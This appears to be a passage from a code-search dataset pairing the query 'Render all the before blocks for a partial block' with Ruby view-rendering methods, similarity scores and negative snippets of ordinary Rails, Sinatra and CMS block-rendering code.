"def candidate_block(block)\n return unless (my_index = block.parent.blocks.find_index block)\n\n next_block = block.parent.blocks[my_index + 1]\n return unless next_block && next_block.context == :pass\n\n next_block\n end",
"def render(&block)\n template_names = [ @layouts, @name ].flatten.reverse\n top_render_proc = template_names.inject(block) do |render_proc, name|\n proc{ @sinatra_call.erb(name, @options, &render_proc) }\n end\n top_render_proc.call\n end",
"def block_render(_partial_name, _partial_locals={})\n render(:layout => _partial_name, :locals => _partial_locals) do\n yield\n end\n end",
"def html_blocklike_show(title, content)\n render('layouts/block', :title => title, :content => content) unless content.blank?\n end",
"def block_name \n :CodeBlock \n end",
"def block_name \n :CodeBlock \n end",
"def liquid_block(block)\n Liquid::Template.parse(block).render(@context)\n end",
"def block(name, value = nil, &block)\n value = self._template.context.capture(&block) if value.nil? && block\n self._template.blocks[name] ||= value\n return self._template.blocks[name]\n end",
"def renders(&block)\n define_method(:renderable) do\n instance_eval(&block).try(:to_page)\n end\n end",
"def block_html(raw)\n raw = unindent(raw)\n\n if md = raw.match(/\\<(.+?)\\>(.*)\\<(\\/.+?)\\>/m)\n open_tag, content, close_tag = md.captures\n \"<#{open_tag}>\\n#{recursive_render(unindent(content))}<#{close_tag}>\"\n else\n raw\n end\n end",
"def render_before_or_after_blocks(name_or_container, before_or_after, *args)\n options = args.extract_options!\n\n block_options = {}\n if (name_or_container.is_a?(Blocks::Container))\n name = name_or_container.name.to_sym\n block_options = name_or_container.options\n else\n name = name_or_container.to_sym\n block_options = blocks[name].options if blocks[name]\n end\n\n before_name = \"#{before_or_after}_#{name.to_s}\".to_sym\n buffer = ActiveSupport::SafeBuffer.new\n\n blocks[before_name].each do |block_container|\n args_clone = args.clone\n args_clone.push(global_options.merge(block_options).merge(block_container.options).merge(options))\n buffer << view.capture(*(args_clone[0, block_container.block.arity]), &block_container.block)\n end if blocks[before_name].present?\n\n buffer\n end",
"def check_block name\n raise \"No such block: #{name}\" unless @source.key? name\n end",
"def render_or_pass(&block)\n begin yield\n rescue Exception => e\n logger.error e.message\n pass\n end\n end",
"def render_plain_styleblock(name)\n @block_html.gsub('$modifier_class', '').gsub(' class=\"\"', '').prepend('<div class=\"styleguide-styleblock\">') << '</div>'\n end",
"def has_block(name)\n @blocks.key?(name.to_s)\n end",
"def method_missing(m, options={}, &block) \n # If the specified block group has already been defined, it is simply returned here for iteration.\n # It will consist of all the blocks used in this block group that have yet to be rendered,\n # as the call for their use occurred before the template was rendered (where their definitions likely occurred)\n return self.block_groups[m] unless self.block_groups[m].nil?\n \n # Allows for nested block groups, store the current block positions array and start a new one\n original_block_positions = self.block_positions\n self.block_positions = []\n self.block_groups[m] = self.block_positions\n \n # Capture the contents of the block group (this will only capture block definitions and block uses)\n view.capture(global_options.merge(options), &block) if block_given?\n \n # restore the original block positions array\n self.block_positions = original_block_positions\n nil\n end",
"def cms_block_render(identifier, blockable = @cms_page)\n return '' unless tag = ComfortableMexicanSofa::ViewMethods.cms_block_tag(identifier, blockable)\n render :inline => ComfortableMexicanSofa::Tag.process_content(blockable, tag.render)\n end",
"def _layout_for(names, &block)\n with_output_buffer do\n # This is due to the potentially ambiguous use of yield when\n # a block is passed in to a template *and* there is a content_for()\n # of the same name. Suggested solution: require explicit use of content_for\n # in these ambiguous cases.\n #\n # We would be able to continue supporting yield in all non-ambiguous\n # cases. Question: should we deprecate yield in favor of content_for\n # and reserve yield for cases where there is a yield into a real block?\n if @_content_for.key?(names.first) || !block_given?\n return @_content_for[names.first || :layout]\n else\n return yield(names)\n end\n end\n end",
"def render_in(view_context, &block)\n self.class.compile\n @view_context = view_context\n @view_renderer ||= view_context.view_renderer\n @lookup_context ||= view_context.lookup_context\n @view_flow ||= view_context.view_flow\n @virtual_path ||= virtual_path\n @variant = @lookup_context.variants.first\n old_current_template = @current_template\n @current_template = self\n\n # Pass self as a block parameter\n @content = render_block(view_context, &block) if block_given?\n validate!\n\n send(self.class.call_method_name(@variant))\n ensure\n @current_template = old_current_template\n end",
"def add_block\n block = params[:block].to_s.underscore\n if block.present? && BLOCKS.key?(block)\n @user = User.current\n layout = @user.pref[:my_page_layout] || {}\n # remove if already present in a group\n %w(top left right).each {|f| (layout[f] ||= []).delete block }\n # add it on top\n layout['top'].unshift block\n @user.pref[:my_page_layout] = layout\n @user.pref.save\n end\n redirect_to my_page_layout_path\n end",
"def add_block\n block = params[:block].to_s.underscore\n if block.present? && BLOCKS.key?(block)\n @user = User.current\n layout = @user.pref[:my_page_layout] || {}\n # remove if already present in a group\n %w(top left right).each {|f| (layout[f] ||= []).delete block }\n # add it on top\n layout['top'].unshift block\n @user.pref[:my_page_layout] = layout\n @user.pref.save\n end\n redirect_to my_page_layout_path\n end",
"def kss_block(section, &block)\n @section = @styleguide.section(section)\n modifiers = @section.modifiers\n\n @example_html = capture(&block)\n concat render(:partial => \"info/styleguide/css/styleguide_block\", :locals => {\n :html => @example_html,\n :modifiers => modifiers})\n end",
"def parse_block_html; end",
"def render(*args, &block); end",
"def retrieve\n if scope == 'preview'\n if alternate_blocks_retriever.blocks_attributes.present?\n alternate_blocks_retriever.block(identifier)\n else\n blocks_retriever.block(identifier)\n end\n else\n blocks_retriever.block(identifier) if blocks_retriever.live?\n end\n end",
"def define(name, options={}, &block)\n # Check if a block by this name is already defined.\n if blocks[name.to_sym].nil?\n # Store the attributes of the defined block in a container for later use\n block_container = BuildingBlocks::Container.new\n block_container.name = name\n block_container.options = options\n block_container.block = block\n \n blocks[name.to_sym] = block_container \n end\n \n nil\n end",
"def replace(name, options={}, &block)\n blocks[name] = nil\n self.define_block_container(name, options, &block)\n nil\n end",
"def show\n\n @blocks = Block.where(parent_id: params[:id]).order('name DESC')\n\n\n render layout: false\n\n end",
"def show\n @block = @site.blocks.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @block }\n end\n end",
"def render(&block)\n API::Composition.render(&block)\n end",
"def vlock(block_name, &block)\n if current_frame && extends?\n # Save child view block to be rendered on the parent\n raise \"No block given on `#{block_name}`\" unless block\n\n current_frame[:vlocks][block_name] = block\n elsif current_frame && (frame = get_frame(block_name, current_frame))\n # Look for child view block and render it\n temporary_frame(frame[:parent_frame]) do\n frame[:vlocks][block_name].call\n end\n elsif block\n # Render a default block\n block.call\n end\n end",
"def block_name_declaration(block_name)\n buff_code \"#{block_name} = __blocks.delete('#{block_name}') { __create_block('#{block_name}') }\"\n end",
"def block_view(context, block_name)\n \n app = context[:app]\n \n result = case block_name\n \n when 'site_breadcrumb_public'\n\n preffixes = Plugins::Plugin.plugin_invoke_all('ignore_path_prefix_breadcrumb', {:app => self})\n\n if app.request.path_info.empty? or app.request.path_info.start_with?(*preffixes)\n bc = ''\n else\n path = app.request.path_info\n if path.match /\\/page\\/\\d+/\n path.sub!(/\\/page\\/\\d+/,'')\n end\n home_page_path = SystemConfiguration::Variable.get_value('site.anonymous_front_page', nil)\n bc = app.t.breadcrumb.home\n\n if home_page_path != path\n path_array = path.split('/')\n result = \"\"\n summary = \"\\\\\"\n bc = path_array.slice(0, path_array.size-1).inject(\"\") do |result, item| \n if item.empty?\n result << \"<a href=\\\"/\\\">#{app.t.breadcrumb.home}</a>\"\n result\n else \n result << \"<span class=\\\"breadcrumb_separator\\\"> > </span> \" unless result.empty?\n result << \"<a href=\\\"#{summary}#{item}\\\">#{item.capitalize.gsub(/-/,' ')}</a>\"\n summary << \"#{item}\\\\\" \n result\n end\n end\n if path_array.size > 1\n bc << \" <span class=\\\"breadcrumb_separator\\\"> > </span> <span class=\\\"breadcrumb_last\\\">#{path_array.last.capitalize.gsub(/-/,' ')}</span>\"\n end\n end\n end \n\n bc == app.t.breadcrumb.home ? '' : bc\n\n\n when 'site_breadcrumb'\n preffixes = Plugins::Plugin.plugin_invoke_all('ignore_path_prefix_breadcrumb', {:app => self})\n \n if app.request.path_info.empty? or app.request.path_info.start_with?(*preffixes)\n bc = ''\n else\n breadcrumb = Site::BreadcrumbBuilder.build(app.request.path_info, context) \n bc_render = SiteRenders::BreadcrumbRender.new(breadcrumb, context)\n bc = bc_render.render \n end \n\n bc\n\n\n when 'site_adminmenu'\n \n if app.user and app.user.is_superuser?\n \n # Retrieve the admin menu options\n admin_menu = {:name => 'admin_menu', :title => 'Admin menu', :description => 'Administration menu'}\n admin_menu_items = Plugins::Plugin.plugin_invoke_all('menu', context)\n \n menu = Site::Menu.build(admin_menu, admin_menu_items)\n menu.language_in_routes = false\n SiteRenders::MenuRender.new(menu, context).render\n \n end\n \n when /^menu_/\n \n menu_name = block_name.match(/^menu_(.+)/)[1]\n \n if menu = Site::Menu.get(menu_name)\n menu_render = SiteRenders::MenuRender.new(menu, context)\n menu_render.render\n else\n ''\n end\n \n when /^view_/ \n\n view_name = block_name.sub(/view_/,'')\n \n if view = ContentManagerSystem::View.get(view_name)\n arguments = \"\"\n if app.request.path_info and app.request.path_info.split('/').length > 2\n arguments = (x=app.request.path_info.split('/')).slice(2,x.length).join('/')\n end\n ::CMSRenders::ViewRender.new(view, app).render(1, arguments) \n else\n ''\n end\n \n when /^content_/\n \n content_id = block_name.sub(/content_/,'')\n if content = ContentManagerSystem::Content.get(content_id.to_i)\n CMSRenders::ContentRender.new(content, app).render\n else\n ''\n end \n\n\n end\n\n return result\n \n \n end",
"def block\n (@blocks ||= Array.new) << Block.new\n @in_block = @blocks.last\n yield\n @in_block = nil\n end",
"def render(object)\n @block.call(object)\n end",
"def page_block(title = nil, options = {}, &block)\n block_to_partial('shared/block', options.merge(:title => title), &block)\n end",
"def fragment_for(name = {}, options = nil, &block) #:nodoc:\n if fragment = controller.read_fragment(name, options)\n fragment\n else\n # VIEW TODO: Make #capture usable outside of ERB\n # This dance is needed because Builder can't use capture\n pos = output_buffer.length\n yield\n fragment = output_buffer.slice!(pos..-1)\n controller.write_fragment(name, fragment, options)\n end\n end",
"def render(name, opts={}, &block)\n \n # render @link\n if name.respond_to?(:created_by)\n path = Template.last_template_path.split('/')[1]\n eval \"@#{name.class.name.tableize.singularize} = name\"\n name = \"#{path}/#{name.class.name.tableize}/_#{name.class.name.downcase}\"\n else\n name = name.to_s\n name = \"#{Template.last_template_path}/#{name}\" unless name.index('/')\n end\n\n if block_given?\n name = \"#{name}/layout\" unless name.index('/')\n local_data = capture(&block)\n Template.new(name).part(instance_variables_hash) do\n local_data\n end\n else\n Template.new(name).part(instance_variables_hash.merge(opts))\n end\n end",
"def format_as_block_html(name, attr, body, indent); end",
"def render(identifier, other_assigns={}, &block)\n # Find layout\n layout = @site.layouts.find { |l| l.identifier == identifier.cleaned_identifier }\n raise Nanoc3::Errors::UnknownLayout.new(identifier.cleaned_identifier) if layout.nil?\n\n # Capture content, if any\n captured_content = block_given? ? capture(&block) : nil\n\n # Get assigns\n assigns = {\n :content => captured_content,\n :item => @item,\n :item_rep => @item_rep,\n :items => @items,\n :layout => layout,\n :layouts => @layouts,\n :config => @config,\n :site => @site\n }.merge(other_assigns)\n\n # Get filter name\n filter_name, filter_args = @site.compiler.filter_for_layout(layout)\n raise Nanoc3::Errors::CannotDetermineFilter.new(layout.identifier) if filter_name.nil?\n\n # Get filter class\n filter_class = Nanoc3::Filter.named(filter_name)\n raise Nanoc3::Errors::UnknownFilter.new(filter_name) if filter_class.nil?\n\n # Create filter\n filter = filter_class.new(assigns)\n\n # Layout\n @site.compiler.stack.push(layout)\n result = filter.run(layout.raw_content, filter_args)\n @site.compiler.stack.pop\n\n # Append to erbout if we have a block\n if block_given?\n erbout = eval('_erbout', block.binding)\n erbout << result\n end\n\n # Done\n result\n end",
"def process_default_render exp\n process_layout\n process_template template_name, nil\n end",
"def read_or_render(template_name,language,key,render_args={},&prerender_block)\n # @logger.debug(\"render_base.read_or_render(#{template_name},#{language},#{key})\") if @logger\n #check cache\n\n renderer=nil\n unless key\n #try to generate the key\n renderer ||= get_renderer(template_name)\n\n key=renderer.get_key( render_args)\n end\n if key\n result=peek(language,key)\n end\n unless result\n\n template_name,key,render_args = process_prerender_block(\n template_name,\n key,\n render_args,\n &prerender_block)\n \n renderer ||= get_renderer(template_name)\n result=renderer.render(language,render_args,{})\n put_page_into_s3(language,key,result)\n else\n # @logger.debug(\"got it from cache\") if @logger\n\n end\n return result\n end",
"def collide_with_other_blocks\n @game.blocks.each do |block|\n if collide(block)\n return block\n end\n end\n nil\n end",
"def contacting_block(block)\n face = block.state.data.facing\n unless face\n warn \"block #{block}'s face is nil\"\n nil\n end\n block.location.clone.tap {|loc|\n loc.subtract(face.mod_x, face.mod_y, face.mod_z)\n }.block\n end",
"def block_node; end",
"def block_node; end",
"def cache_erb_fragment(block, name = {}, options = nil)\n unless AppConfig[:perform_caching] then block.call; return end\n buffer = eval(\"_erbout\", block.binding)\n if cache = Cache.get(name)\n buffer.concat(cache)\n else\n pos = buffer.length\n block.call\n Cache.put(name, buffer[pos..-1], 600)\n end\n end",
"def block_is_template?(_)\n false\n end",
"def html_block_show(block)\n title, content = send(block.class.to_s.underscore, block)\n html_blocklike_show(title, content)\n end",
"def find_template(views, name, engine, &block)\n Array(views).each {|v|super(v, name, engine, &block) }\n end",
"def render_viewer_in_context(document, block)\n canvas = choose_canvas_id(block)\n if params[:controller] == 'spotlight/catalog'\n render partial: current_exhibit.required_viewer.to_partial_path,\n locals: { document: document, block: block, canvas: canvas }\n else\n render partial: current_exhibit.required_viewer.default_viewer_path,\n locals: { document: document, block: block, canvas: canvas }\n end\n end",
"def block_to_partial(partial_name, options = {}, &block)\n #puts \"PARTIAL_NAME=#{partial_name},OPTIONS=#{options},BLOCK=#{block}\"\n options.merge!(:body => capture(&block))\n concat(render(:partial => partial_name, :locals => options))\n end",
"def block?\n block_tag? || block_body? || document?\n end",
"def render_at_block(data)\n data.map { |key, block| \"#{key} { #{render_block(block)} }\" }.join('')\n end",
"def render_timereportquery_block(block, settings)\n @query = TimeReportQuery.visible.find_by_id(settings[:query_id])\n\n if @query\n if params[:debug]\n @query.set_debug(params[:debug])\n end\n\n # Smile comment : no limit to scope\n prepare_report_object\n\n prepare_report_object_hook\n\n render :partial => 'my/blocks/partials/timereport', :locals => {:query => @query, :scope => @scope, :block => block, :settings => settings}\n else\n queries = TimeReportQuery.visible.sorted\n render :partial => 'my/blocks/partials/timereport_query_selection', :locals => {:queries => queries, :block => block, :settings => settings}\n end\n end",
"def run_block\n @_block_content = nil\n unless block.blank?\n @_block_content = if view.parent.present?\n capture(view, &block)\n else\n ## We've been called directly from a controller.\n yield(view)\n end\n end\n end",
"def after_render(&block)\n @after_render_block = block\n end",
"def defined?(name)\n !blocks[name].nil?\n end",
"def block_to_partial(partial_name, options = {}, &block) \n # replace :id with :cssid and :class with :cssclass\n if options[:id]\n options[:cssid] = options.delete(:id)\n else\n options[:cssid] = \"\" if options[:cssid].nil?\n end\n if options[:class]\n options[:cssclass] = options.delete(:class) \n else\n options[:cssclass] = \"\" if options[:cssclass].nil? \n end \n \n options.merge!(:body => capture(&block))\n concat(render(:partial => partial_name, :locals => options))\n end",
"def partial_name_for(block, options = {})\n if options[:namespace] && lookup_context.template_exists?(\"superb_text_constructor/blocks/#{options[:namespace]}/#{block.template}\", nil, true)\n \"superb_text_constructor/blocks/#{options[:namespace]}/#{block.template}\"\n else\n \"superb_text_constructor/blocks/#{SuperbTextConstructor.configuration.default_namespace}/#{block.template}\"\n end\n end",
"def block_name \n to_sym\n end",
"def block(name, &block)\n klass = SuperbTextConstructor.block(name, &block)\n @blocks << klass\n klass\n end",
"def block_name\n if @split_across\n if @block_method == :count\n \"Block #{@block_num}/#{@num_blocks} (across dataset)\"\n else\n \"Block #{@block_num} of #{@block_size} words (across dataset)\"\n end\n else\n if @block_method == :count\n \"Block #{@block_num}/#{@num_blocks} (within \\\"#{@current_doc.title}\\\")\"\n else\n \"Block #{@block_num} of #{@block_size} words (within \\\"#{@current_doc.title}\\\")\"\n end\n end\n end",
"def get_block(blk_hash)\n raise \"Not implemented\"\n end",
"def render (r)\n\tif @init then\n\t\t@menu.handle(@handling.coupled_tests)\n\t\t@init = false\n\tend\n\tr.div.style (\"float:top;\").with {\n\t\tr.render(@menu)\n\t}\n\tr.div {\n\t\tr.render(@current)\n\t} if @current\nend",
"def cache(name, &block)\n # check for a cached fragment\n (fragment=read_fragment(name)) and return fragment\n # get the fragment\n fragment = block.call\n # cache the fragment\n write_fragment(name, fragment, {})\n fragment\n end",
"def render(&block)\n self.renderer = block\n end",
"def _HtmlBlockInTags\n\n _save = self.pos\n while true # choice\n _tmp = apply(:_HtmlAnchor)\n break if _tmp\n self.pos = _save\n _tmp = apply(:_HtmlBlockAddress)\n break if _tmp\n self.pos = _save\n _tmp = apply(:_HtmlBlockBlockquote)\n break if _tmp\n self.pos = _save\n _tmp = apply(:_HtmlBlockCenter)\n break if _tmp\n self.pos = _save\n _tmp = apply(:_HtmlBlockDir)\n break if _tmp\n self.pos = _save\n _tmp = apply(:_HtmlBlockDiv)\n break if _tmp\n self.pos = _save\n _tmp = apply(:_HtmlBlockDl)\n break if _tmp\n self.pos = _save\n _tmp = apply(:_HtmlBlockFieldset)\n break if _tmp\n self.pos = _save\n _tmp = apply(:_HtmlBlockForm)\n break if _tmp\n self.pos = _save\n _tmp = apply(:_HtmlBlockH1)\n break if _tmp\n self.pos = _save\n _tmp = apply(:_HtmlBlockH2)\n break if _tmp\n self.pos = _save\n _tmp = apply(:_HtmlBlockH3)\n break if _tmp\n self.pos = _save\n _tmp = apply(:_HtmlBlockH4)\n break if _tmp\n self.pos = _save\n _tmp = apply(:_HtmlBlockH5)\n break if _tmp\n self.pos = _save\n _tmp = apply(:_HtmlBlockH6)\n break if _tmp\n self.pos = _save\n _tmp = apply(:_HtmlBlockMenu)\n break if _tmp\n self.pos = _save\n _tmp = apply(:_HtmlBlockNoframes)\n break if _tmp\n self.pos = _save\n _tmp = apply(:_HtmlBlockNoscript)\n break if _tmp\n self.pos = _save\n _tmp = apply(:_HtmlBlockOl)\n break if _tmp\n self.pos = _save\n _tmp = apply(:_HtmlBlockP)\n break if _tmp\n self.pos = _save\n _tmp = apply(:_HtmlBlockPre)\n break if _tmp\n self.pos = _save\n _tmp = apply(:_HtmlBlockTable)\n break if _tmp\n self.pos = _save\n _tmp = apply(:_HtmlBlockUl)\n break if _tmp\n self.pos = _save\n _tmp = apply(:_HtmlBlockDd)\n break if _tmp\n self.pos = _save\n _tmp = apply(:_HtmlBlockDt)\n break if _tmp\n self.pos = _save\n _tmp = apply(:_HtmlBlockFrameset)\n break if _tmp\n self.pos = _save\n _tmp = apply(:_HtmlBlockLi)\n break if _tmp\n self.pos = _save\n _tmp = apply(:_HtmlBlockTbody)\n break if _tmp\n self.pos = _save\n _tmp = apply(:_HtmlBlockTd)\n break if _tmp\n self.pos = _save\n _tmp = apply(:_HtmlBlockTfoot)\n break if _tmp\n self.pos = _save\n _tmp = apply(:_HtmlBlockTh)\n break if _tmp\n self.pos = _save\n _tmp = apply(:_HtmlBlockThead)\n break if _tmp\n self.pos = _save\n _tmp = apply(:_HtmlBlockTr)\n break if _tmp\n self.pos = _save\n _tmp = apply(:_HtmlBlockScript)\n break if _tmp\n self.pos = _save\n _tmp = apply(:_HtmlBlockHead)\n break if _tmp\n self.pos = _save\n break\n end # end choice\n\n set_failed_rule :_HtmlBlockInTags unless _tmp\n return _tmp\n end",
"def find_template(views, name, engine, &block)\n\t\t \t#normal\n\t\t super(views, name, engine, &block)\n\t\t #_layout folder\n\t\t super(Paths.layout_path, name.to_s, engine, &block)\n\t\t end",
"def render_orphan(sequence, name, timestamp)\n @names << name\n left_header = \"--- New file\"\n right_header = right_header_line(name, timestamp)\n helper = HeaderHelper.new(left_header, right_header, @names.count - 1)\n result = template(\"html_header.erb\").evaluate(helper)\n \n # create one opcode with the entire content\n opcodes = [\n [:equal, 0, sequence.length-1, 0, sequence.length-1]\n ]\n helper = hunk_context(sequence, sequence, nil, opcodes, 0)\n result << template(\"html_hunk.erb\").evaluate(helper)\n result\n end",
"def raw_block_to_partial(partial_name, options = {}, &block)\n options.merge!(:block => block)\n render(:partial => partial_name, :locals => options)\n end",
"def render_seeker_item element\n\t\tcase element\n\t\twhen Recipe\n\t\t\t@recipe = element\n\t\t content_tag( :div, \n\t\t render(\"show_masonry_item\"),\n\t\t class: \"masonry-item\" )\n\t\twhen FeedEntry\n\t\t @feed_entry = element\n\t\t render \"shared/feed_entry\"\n\t\telse\n\t\t # Default is to set instance variable @<Klass> and render \"<klass>s/<klass>\"\n\t\t ename = element.class.to_s.downcase\n\t\t self.instance_variable_set(\"@\"+ename, element)\n\t\t render partial: \"#{ename.pluralize}/show_table_item\", locals: { ename.to_sym => element }\n\t\tend\n end",
"def pre_block\n end",
"def pre_block\n end",
"def _normalize_render(*args, &block); end",
"def login_block\n\n content_tag :div, :id => 'login-block' do\n\n if logged_in?\n # Block with username and logout\n [\n content_tag(:p, current_user.auth_name, :class => 'username'),\n content_tag(:p, :class => 'login-link logout') do\n link_to('Sign out', logout_path)\n end\n ].reduce :+\n\n else\n # Block with login\n content_tag :p, :class => 'login-link login' do\n link_to('Sign in', login_path)\n end # p\n end\n\n end # div\n end",
"def capture_template_block(*args, &blk)\n if respond_to?(:is_haml?) && is_haml?\n capture_haml(*args, &blk)\n else\n with_output_buffer(&blk)\n end\n end",
"def block_view(context, block_name)\n\n app = context[:app]\n\n case block_name\n when 'booking_activities_shopping_cart'\n shopping_cart = ::Yito::Model::Order::ShoppingCart.get(app.session[:shopping_cart_id]) || ::Yito::Model::Order::ShoppingCart.new\n app.partial(:activities_shopping_cart, :locals => {shopping_cart: shopping_cart})\n\n when 'booking_selector_full_v2'\n booking_item_family = ::Yito::Model::Booking::ProductFamily.get(SystemConfiguration::Variable.get_value('booking.item_family'))\n young_driver_rules = SystemConfiguration::Variable.get_value('booking.driver_min_age.rules', 'false').to_bool\n young_driver_rule_definition = ::Yito::Model::Booking::BookingDriverAgeRuleDefinition.get(SystemConfiguration::Variable.get_value('booking.driver_min_age.rule_definition'))\n addons = app.mybooking_addons\n addon_promotion_code = if addons and addons.has_key?(:addon_promotion_code) and addons[:addon_promotion_code]\n addons[:addon_promotion_code]\n else\n false\n end\n locals = {}\n locals.store(:booking_min_days,\n SystemConfiguration::Variable.get_value('booking.min_days', '1').to_i)\n locals.store(:booking_item_family, booking_item_family)\n locals.store(:booking_item_type,\n SystemConfiguration::Variable.get_value('booking.item_type'))\n locals.store(:pickup_return_places_configuration,\n SystemConfiguration::Variable.get_value('booking.pickup_return_places_configuration', 'list'))\n locals.store(:driver_age_rules, young_driver_rules)\n locals.store(:driver_age_rule_definition, young_driver_rule_definition)\n locals.store(:addon_promotion_code, addon_promotion_code)\n locals.store(:custom_pickup_return_place_price, SystemConfiguration::Variable.get_value('booking.custom_pickup_return_place_price', '0').to_i)\n locals.store(:pickup_return_places_same_rental_location, BookingDataSystem::Booking.pickup_return_places_same_rental_location)\n\n frontend_skin = SystemConfiguration::Variable.get_value('frontend.skin','rentit')\n custom_js = Plugins::Plugin.plugin_invoke_all('frontend_skin_custom_js', context).inject(false) { |result, value| result = result or value }\n\n page = frontend_skin ? \"#{frontend_skin}_rent_search_form_full_v2\" : :rent_search_form_full_v2\n js = (frontend_skin and custom_js) ? \"#{frontend_skin}_rent_search_form_full_v2_js\" : :rent_search_form_full_v2_js\n\n if booking_item_family.driver and young_driver_rules and young_driver_rule_definition and !young_driver_rule_definition.driver_age_rules.empty?\n driver_partial = frontend_skin ? \"#{frontend_skin}_rent_search_form_full_v2_driver\" : :rent_search_form_full_v2_driver\n locals.store(:driver_partial, app.partial(driver_partial, locals: locals))\n else\n locals.store(:driver_partial, nil)\n end\n\n if addon_promotion_code\n promotion_code_partial = frontend_skin ? \"#{frontend_skin}_rent_search_form_full_v2_promotion_code\" : :rent_search_form_full_v2_promotion_code\n locals.store(:promotion_code_partial, app.partial(promotion_code_partial, locals: locals))\n else\n locals.store(:promotion_code_partial, nil)\n end\n\n result = app.partial(page, :locals => locals)\n result << app.partial(js, :locals => locals) \n end\n \n end",
"def render_rich_styleblock(name, options)\n if @section.blank? or @section.description.blank?\n raise \"Section must have a description. Section #{options[:section]} does not have one or section does not exist.\"\n end\n\n # Render the styleguide block\n ::Tilt.new(self.styleguide_block_path).render(self)\n end",
"def render_before_blocks(name_or_container, *args)\n render_before_or_after_blocks(name_or_container, \"before\", *args)\n end",
"def render_colour(&block)\n [ colour.to_s, yield, parent_colour ].join\n end",
"def id\n @block\n end",
"def id\n @block\n end",
"def block_is_template?(block) \n block && (erb_block?(block) || \n (self.respond_to?(:block_is_haml?) && block_is_haml?(block)))\n end",
"def defined?(name)\n !blocks[name.to_sym].nil?\n end",
"def block_is_type?(block)\n is_type? || (block && eval('defined?(__in_erb_template)', block.binding))\n end",
"def render_field_with_block(label, &block)\n content = with_output_buffer(&block)\n render_field_content(label, content)\n end"
] |
[
"0.67557204",
"0.6693612",
"0.66921425",
"0.6538668",
"0.6538668",
"0.6502267",
"0.6465307",
"0.641846",
"0.6403105",
"0.6339931",
"0.6322441",
"0.6174666",
"0.61651057",
"0.6150046",
"0.61497",
"0.61346275",
"0.605528",
"0.60551906",
"0.60551906",
"0.6010276",
"0.5993535",
"0.59206814",
"0.59100246",
"0.58787614",
"0.586942",
"0.58538616",
"0.58505064",
"0.5836479",
"0.5819098",
"0.57953656",
"0.5783931",
"0.5768501",
"0.5765033",
"0.5765033",
"0.57264155",
"0.57026476",
"0.5697665",
"0.5681109",
"0.5655893",
"0.5637595",
"0.5631298",
"0.5628233",
"0.56254953",
"0.5623984",
"0.56199574",
"0.5601816",
"0.5589907",
"0.5548099",
"0.55472314",
"0.55325854",
"0.5532536",
"0.5532035",
"0.55051124",
"0.5494394",
"0.5493858",
"0.54886705",
"0.54825085",
"0.5481147",
"0.5481147",
"0.5479838",
"0.547699",
"0.5472027",
"0.54502326",
"0.5449509",
"0.5445241",
"0.5444052",
"0.5442296",
"0.5437314",
"0.5430335",
"0.54262364",
"0.542457",
"0.54241705",
"0.54221725",
"0.54207546",
"0.54190564",
"0.54183114",
"0.5417705",
"0.5414856",
"0.53993434",
"0.5398495",
"0.5397376",
"0.53921276",
"0.539024",
"0.5389823",
"0.53895533",
"0.53787756",
"0.53787756",
"0.53767014",
"0.53750986",
"0.53716743",
"0.5370422",
"0.53645533",
"0.536196",
"0.53585035",
"0.53486115",
"0.53486115",
"0.5345898",
"0.5343253",
"0.53415495",
"0.53328973"
] |
0.64739263
|
6
|
Render all the before blocks for a partial block
|
def render_before_blocks(name_or_container, *args)
render_before_or_after_blocks(name_or_container, "before", *args)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def pre_block\n end",
"def pre_block\n end",
"def before &block\n @before_blocks ||= []\n @before_blocks << block if block\n end",
"def before_each(&block)\n @before_each_blocks << block\n end",
"def _Gvn_before(&block)\n _Gvn_before_blocks << block\n end",
"def render_before_or_after_blocks(name_or_container, before_or_after, *args)\n options = args.extract_options!\n\n block_options = {}\n if (name_or_container.is_a?(Blocks::Container))\n name = name_or_container.name.to_sym\n block_options = name_or_container.options\n else\n name = name_or_container.to_sym\n block_options = blocks[name].options if blocks[name]\n end\n\n before_name = \"#{before_or_after}_#{name.to_s}\".to_sym\n buffer = ActiveSupport::SafeBuffer.new\n\n blocks[before_name].each do |block_container|\n args_clone = args.clone\n args_clone.push(global_options.merge(block_options).merge(block_container.options).merge(options))\n buffer << view.capture(*(args_clone[0, block_container.block.arity]), &block_container.block)\n end if blocks[before_name].present?\n\n buffer\n end",
"def render_partial(context, options, &block); end",
"def prepend_yield\n return unless show_search_box?\n\n prepend_yield = render :partial => 'shared/header_navbar' if show_search_box?\n\n prepend_yield += content_tag :div, :id => \"main-flashes\" do\n render :partial => '/flash_msg'\n end\n\n return prepend_yield\n end",
"def before(&block)\n @before << block\n end",
"def prepend_yield\n content_tag :div, :id => \"main-flashses\" do\n render :partial => 'common/flash_msg'\n end\n end",
"def render_partial(*ignore_args); end",
"def apply_template_before?; end",
"def before_auto_marking(&block)\n @blocks[:before].push block\n end",
"def partial_html_sections\n # Tell our application_helper#url_for to generate urls with hostname\n @generate_urls_with_host = true\n # Force background status to be the spinner--default js way of putting\n # spinner in does not generally work through ajax techniques.\n @force_bg_progress_spinner = true\n # Mark that we're doing a partial generation, because it might\n # matter later.\n @generating_embed_partials = true\n # Run the request if neccesary.\n self.service_dispatch()\n @user_request.save!\n self.api_render()\n end",
"def prepend_body\n render 'common/prepend_body'\n end",
"def before_block_boundary?; end",
"def before(&block)\n define_before_or_after_method_with_block(:before, &block)\n end",
"def before_include( *contexts, & block )\n \n return frame_definer.before_include( *contexts, & block )\n \n end",
"def before(&block)\n block ? @before = block : @before\n end",
"def to_prepare_blocks; end",
"def before_inclusion(&block)\n if block && block.respond_to?(:call)\n before_inclusion_procs << block\n else\n raise 'Anything added to be called before_inclusion must be callable (respond to #call).'\n end\n end",
"def pre_render(*arg)\n true\n end",
